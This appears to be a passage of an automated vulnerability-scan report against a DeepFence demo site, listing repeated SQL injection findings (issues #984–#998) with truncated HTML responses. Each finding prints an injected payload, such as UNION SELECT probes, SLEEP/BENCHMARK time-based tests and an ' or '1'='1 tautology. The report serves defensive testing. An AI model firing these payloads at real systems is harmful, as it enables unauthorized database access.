demouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #984
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioor SLEEP(5)="
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #985
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified Name ValueParameters demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #986
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioor SLEEP(5)='
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #987
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #988
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #989
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io' or '1'='1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #990Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ' or benchmark(10000000,MD5(1))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #991
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #992
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A'
)),4,5,6,7,8,9,10,11--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #993
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #994
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io+ SLEEP(10) + '
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #995
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #996
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Valuedemouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('
A')),4
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #997
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4,5,6,7,8-
-
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #998
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
